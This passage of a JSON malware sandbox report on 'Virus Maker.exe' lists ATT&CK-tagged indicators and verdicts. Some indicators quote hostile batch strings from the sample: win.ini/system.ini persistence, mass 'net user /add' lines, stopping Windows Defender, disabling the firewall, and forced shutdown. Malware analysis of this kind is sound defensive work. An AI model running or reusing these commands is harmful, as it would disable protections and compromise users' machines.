Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"VirusMaker.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"VirusMaker.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$37","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"82286985344,9856,104,,GetKeyState,user32.dll,\"00:47:59.625\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00007728.00000001.184339.015D0000.00000004.mdmp\")\n Found reference to API \"153251831402,9856,104,,GetKeyState,user32.dll,\"00:48:29.187\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00007728.00000002.186259.015D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$39","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"\"\\r\\ncopy %0 %windir%\\\\%b%.bat\\r\\necho [windows] >> %windir%\\\\win.ini\\r\\necho run=%windir%\\\\%b%.bat >> %windir%\\\\win.ini\\r\\necho load=%windir%\\\\%b%.bat >> %windir%\\\\win.ini\\r\\necho [boot] >> %windir%\\\\system.ini\\r\\necho shell=explorer.exe %b%.bat >> %windir%\\\\system.ini\" (Indicator: \"\\win.ini\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"file/memory contains long string with (Indicator: \"net user \"; File: \"Virus Maker.exe\")\n Found string \"om% /addnet user %radnom% /addnet user %radnom% /addnet user %radnom% /addnet user %radnom% /addnet user %radnom% /addnet user %radnom% /addnet user %radnom% /add\" (Indicator: \"net user \"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet user %username% *\\r\\n\" (Indicator: \"net user \"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet user %random% /add\\r\\ngoto user\" (Indicator: \"net user \"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFile\" (Indicator: \"DeleteFile\"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown -s -t 00 -c \"blackhost virus maker\"\" (Indicator: \"shutdown \") in Source: 00000000-00007728.00000000.182418.015D0000.00000004.mdmp\n 00000000-00007728.00000000.182418.02080000.00000002.mdmp\n 00000000-00007728.00000000.182418.035B0000.00000004.mdmp\n 00000000-00007728.00000001.184339.015D0000.00000004.mdmp\n 00000000-00007728.00000001.184339.02080000.00000002.mdmp\n 00000000-00007728.00000001.184339.035B0000.00000004.mdmp\n 00000000-00007728.00000002.186259.015D0000.00000004.mdmp\n 00000000-00007728.00000002.186259.02080000.00000002.mdmp\n 00000000-00007728.00000002.186259.035B0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop \"SDRSVC\"\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")\n Found string \"net stop \"WinDefend\"taskkill /f /t /im \"MSASCui.exe\"\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet stop \\\"SDRSVC\\\"\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet stop \\\"WinDefend\\\"\\r\\ntaskkill /f /t /im \\\"MSASCui.exe\\\"\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet stop \\\"security center\\\"\\r\\nnet stop sharedaccess\\r\\nnetsh firewall set opmode mode-disable\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")\n Found string \"\\r\\nnet stop \\\"wuauserv\\\"\" (Indicator: \"net stop\"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"VirusMaker.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\FONTCACHE\\PARAMETERS\"; Key: \"CLIENTCACHESIZE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"VirusMaker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"Virus Maker.exe\")\n file/memory contains long string with (Indicator: \"explorer.exe\"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"\"VirusMaker.exe\" called \"CryptAcquireContextW\" with parameters {\"phProv\": \"b866630100000000\"\n \"szProvider\": \"Microsoft Enhanced RSA and AES Cryptographic Provider\"\n \"dwProvType\": \"24\"\n \"dwFlags\": \"4026531840\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"VirusMaker.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_60% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection","description":"$3b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1571","relevance":5,"id":"stream-85","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime","description":"Observed function concat in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin\n Observed function concatenateobject in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin\n Observed function tostring in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin\n Observed function split in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin\n Observed function replace in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Contains ability to download files from the internet","description":"Observed function downloadfile in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Contains ability to start a process","description":"Observed function process.start in 16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.bin","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"$3c","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"VirusMaker.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to access non-existent files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"VirusMaker.exe\" queried SystemProcessInformation at 00000000-00003892-00000036-1112160\n \"VirusMaker.exe\" queried SystemProcessInformation at 00000000-00003892-00000036-1114082\n \"VirusMaker.exe\" queried SystemProcessInformation at 00000000-00003892-00000036-7268407\n \"VirusMaker.exe\" queried SystemProcessInformation at 00000000-00003892-00000036-7270354","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"VirusMaker.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Ole\" (Filter: 268435457; Subtree: 1675314432)\n \"VirusMaker.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\Local Settings\\Software\\Microsoft\" (Filter: 268435457; Subtree: 1675314433)\n \"VirusMaker.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\" (Filter: 268435461; Subtree: 1675314433)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"VirusMaker.exe\" called \"GetKeyState\"","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"ExitWindowsEx@USER32.DLL\" in \"VirusMaker.exe\"\n \"GetAsyncKeyState@USER32.DLL\" in \"VirusMaker.exe\"\n \"GetForegroundWindow@USER32.DLL\" in \"VirusMaker.exe\"\n \"ShellExecuteW@SHELL32.DLL\" in \"VirusMaker.exe\"\n \"Wow64Transition@NTDLL.DLL\" in \"VirusMaker.exe\"\n \"GetKeyState@USER32.DLL\" in \"VirusMaker.exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \"VirusMaker.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$3e","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]}],"incidents":[{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"References security related windows services"}],"sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":7,"imported_dlls_count":83,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":489,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["banker","goblin","pemalform","ramnit","refresh","scrinject","neshta"],"sample_flags":["User Comment","Extracted Files"],"sandbox_reports":[{"id":"668a56cb5b5bc9eb560b1635","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Virus Maker.exe","analysis_start_time":"2024-07-07T08:50:19+00:00","indicators_count":{"informative":76,"suspicious":16,"malicious":1},"tags":["User Comment"],"is_in_unified_schema":true},{"id":"6398de46c519e127df2a5efa","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Malware.Crypter","submit_name":"Virus Maker.exe","analysis_start_time":"2022-12-13T20:19:20+00:00","indicators_count":{"informative":32,"suspicious":13,"malicious":4},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"5b50741e9ac508f90ba182fe","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ursu","submit_name":"VirusMaker.exe","analysis_start_time":"2018-07-19T12:17:37+00:00","indicators_count":{"informative":9,"suspicious":9,"malicious":5},"tags":["User Comment"],"is_in_unified_schema":true},{"id":"57cdbdcfaac2ed437eba215e","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":33,"malware_family":"Malware.Undefined","submit_name":"Virus Maker.exe","analysis_start_time":"2016-09-05T20:48:09+00:00","indicators_count":{"informative":8,"suspicious":8,"malicious":3},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}],"processes":[{"pid":3152,"ppid":0,"name":"VirusMaker.exe","command_line":"","sha256":"16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092","normalized_path":"C:\\VirusMaker.exe","uid":"00010794-00003152","icon":"$3f"}],"all_imported_dlls":["wow64.dll","wow64win.dll","kernel32.dll","KernelBase.dll","sechost.dll","imm32.dll","ntdll.dll","wow64cpu.dll","msvcrt.dll","System.Core.ni.dll","Microsoft.VisualBasic.ni.dll","System.Windows.Forms.ni.dll","System.Windows.Forms.dll","mscorrc.dll","sspicli.dll","version.dll","mscoreei.dll","System.Drawing.ni.dll","nlssorting.dll","dwmapi.dll","clbcatq.dll","GdiPlus.dll","usp10.dll","msvcr120_clr0400.dll","mscorlib.ni.dll","uxtheme.dll","oleaut32.dll","user32.dll","msctf.dll","ole32.dll","comctl32.dll","shell32.dll","RpcRtRemote.dll","rpcrt4.dll","cryptbase.dll","shlwapi.dll","gdi32.dll","System.ni.dll","api-ms-win-core-xstate-l2-1-0.dll","clrjit.dll","System.Configuration.ni.dll","advapi32.dll","mscoree.dll","lpk.dll","clr.dll","System.Runtime.Remoting.ni.dll","rsaenh.dll","System.Xml.ni.dll","cryptsp.dll","msvcr110_clr0400.dll","SHCore.dll","kernel.appcore.dll","bcrypt.dll","bcryptprimitives.dll","Microsoft.VisualBasic.dll","win32u.dll","vcruntime140_clr0400.dll","wow64base.dll","windows.storage.dll","TextInputFramework.dll","psapi.dll","ws2_32.dll","profapi.dll","apphelp.dll","wow64con.dll","gdi32full.dll","ucrtbase_clr0400.dll","CoreMessaging.dll","ucrtbase.dll","WinTypes.dll","Accessibility.dll","VxSSL32.dll","fltLib.dll","System.Drawing.dll","System.Runtime.Remoting.dll","DWrite.dll","TextShaping.dll","CoreUIComponents.dll","msvcp_win.dll","combase.dll","ntmarta.dll","powrprof.dll","cfgmgr32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"VirusMaker.exe.log","sha256":"e98c3791e99fa131deab99b1064f82e6fc33014a7522f6275f63323b03e6cede","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]}],"files_written":[{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\7aa0dcace3b5d10b626540709537d280\\System.Core.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\tahoma.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"C:\\VirusMaker.exe.config","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"C:\\VirusMaker.exe","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\pubpol107.dat","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\1c459c609c9edf4427ae91b4293b0d0a\\Microsoft.VisualBasic.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System\\0b2f69b43a576b9edcc807a30872bd91\\System.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\fb36278a0a934ae244f843b62229421c\\System.Windows.Forms.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\3c20a6b0ca532bcc6271bf4b7ad0b4d9\\System.Drawing.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\ce9750286ad44cbfb2acf176df9df0a2\\System.Configuration.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\bf505bb2c2b60e7a40740888cd2c3172\\System.Xml.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\87f2fdbe093d6be28c051bd351aa39dd\\System.Runtime.Remoting.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%LOCALAPPDATA%\\GDIPFONTCACHEV1.DAT","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Fonts\\msjh.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\msyh.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\malgun.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\micross.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\segoeui.ttf","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"path":"C:\\16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.exe.config","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.log","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\51e2934144ba15628ba5a31be2dae7dc\\mscorlib.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"C:\\16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092.exe","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\536f3c2e6e4137a628f2f64e0dfd407e\\Microsoft.VisualBasic.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System\\e40da7a49f8c3f0108e7c835b342f382\\System.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\b9f7adbc90a2bcbe8eb9e6e8d2bb975b\\System.Core.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\22ae167d586450ad3a9b9a9ee43ebc86\\System.Windows.Forms.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\72269ea7cc6281139e4d155e7c57dc67\\System.Drawing.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\Microsoft.NET\\F